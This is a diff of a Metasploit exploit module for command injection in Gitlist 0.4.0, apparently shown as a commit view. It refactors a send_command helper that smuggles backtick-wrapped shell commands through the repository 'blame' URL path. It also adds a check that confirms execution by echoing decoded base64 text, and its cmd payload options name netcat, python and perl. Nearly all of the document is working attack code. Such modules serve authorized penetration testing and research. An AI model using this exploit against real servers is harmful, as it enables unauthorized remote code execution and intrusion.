@@ -23,7 +23,7 @@ def initialize(info = {})
23
23
'Arch' => ARCH_CMD ,
24
24
'Author' =>
25
25
[
26
- 'drone ' , #discovery/poc @dronesec
26
+ '@dronesec ' , #discovery/poc
27
27
'Brandon Perry <[email protected] >' #Metasploit module
28
28
] ,
29
29
'References' =>
@@ -35,21 +35,17 @@ def initialize(info = {})
35
35
'Payload' =>
36
36
{
37
37
'Space' => 9999 , #arbitrary, length of GET request really
38
- 'BadChars' => "" , #base64 encode then execute
38
+ 'BadChars' => "& \x20 " ,
39
39
'DisableNops' => true ,
40
40
'Compat' =>
41
41
{
42
42
'PayloadType' => 'cmd' ,
43
43
'RequiredCmd' => 'generic netcat netcat-e python perl' ,
44
44
}
45
45
} ,
46
- 'DefaultOptions' =>
47
- {
48
- 'ExitFunction' => 'none'
49
- } ,
50
46
'Targets' =>
51
47
[
52
- [ 'Automatic Targeting ' , { 'auto' => true } ]
48
+ [ 'Gitlist 0.4.0 ' , { } ]
53
49
] ,
54
50
'DefaultTarget' => 0 ,
55
51
'DisclosureDate' => 'Jun 30 2014'
@@ -62,55 +58,43 @@ def initialize(info = {})
62
58
end
63
59
64
60
def check
65
- res = send_request_cgi ( {
66
- 'uri' => normalize_uri ( target_uri . path )
67
- } )
68
-
69
- if !res
70
- fail_with ( "Server did not respond in an expected way" )
71
- end
72
-
73
- first = /href="\/ gitlist\/ (.*)\/ "/ . match ( res . body )
74
-
75
- if !first or first . length < 2
76
- fail_with ( "We don't have a properly configured Gitlist" )
77
- end
61
+ chk = Rex ::Text . encode_base64 ( rand_text_alpha ( rand ( 32 ) +5 ) )
78
62
79
- chk = Rex :: Text . encode_base64 ( Rex :: Text . rand_text_alpha ( rand ( 32 ) + 5 ) )
63
+ res = send_command ( "echo${IFS}" + chk + "|base64${IFS}--decode" )
80
64
81
- res = send_request_cgi ( {
82
- 'uri' => normalize_uri ( target_uri . path , first , 'blame' , 'master' , '%22%22`echo${IFS}' + chk + '|base64${IFS}--decode`' )
83
- } )
84
-
85
- if res and res . body =~ /#{ Rex ::Text . decode_base64 ( chk ) } /
65
+ if res and res . body . include? ( Rex ::Text . decode_base64 ( chk ) )
86
66
return Exploit ::CheckCode ::Vulnerable
87
67
end
88
68
89
69
return Exploit ::CheckCode ::Safe
90
70
end
91
71
92
72
def exploit
93
- pay = Rex ::Text ::encode_base64 ( payload . encoded )
73
+ send_command ( payload . encoded )
74
+ end
94
75
76
+ def send_command ( cmd )
95
77
res = send_request_cgi ( {
96
78
'uri' => normalize_uri ( target_uri . path )
97
79
} )
98
80
99
- if ! res
81
+ unless res
100
82
fail_with ( "Server did not respond in an expected way" )
101
83
end
102
84
103
85
first = /href="\/ gitlist\/ (.*)\/ "/ . match ( res . body )
104
86
105
- if ! first or first . length < 2
87
+ unless first && first . length >= 2
106
88
fail_with ( "We don't have a properly configured Gitlist installation" )
107
89
end
108
90
109
91
first = first [ 1 ]
110
92
111
- send_request_cgi ( {
112
- 'uri' => normalize_uri ( target_uri . path , first , 'blame' , 'master' , '%22%22`echo${IFS} ' + pay + '|base64${IFS}--decode|sh `' )
93
+ res = send_request_cgi ( {
94
+ 'uri' => normalize_uri ( target_uri . path , first , 'blame' , 'master' , '""` ' + cmd + '`' )
113
95
} )
96
+
97
+ return res
114
98
end
115
99
116
100
end
0 commit comments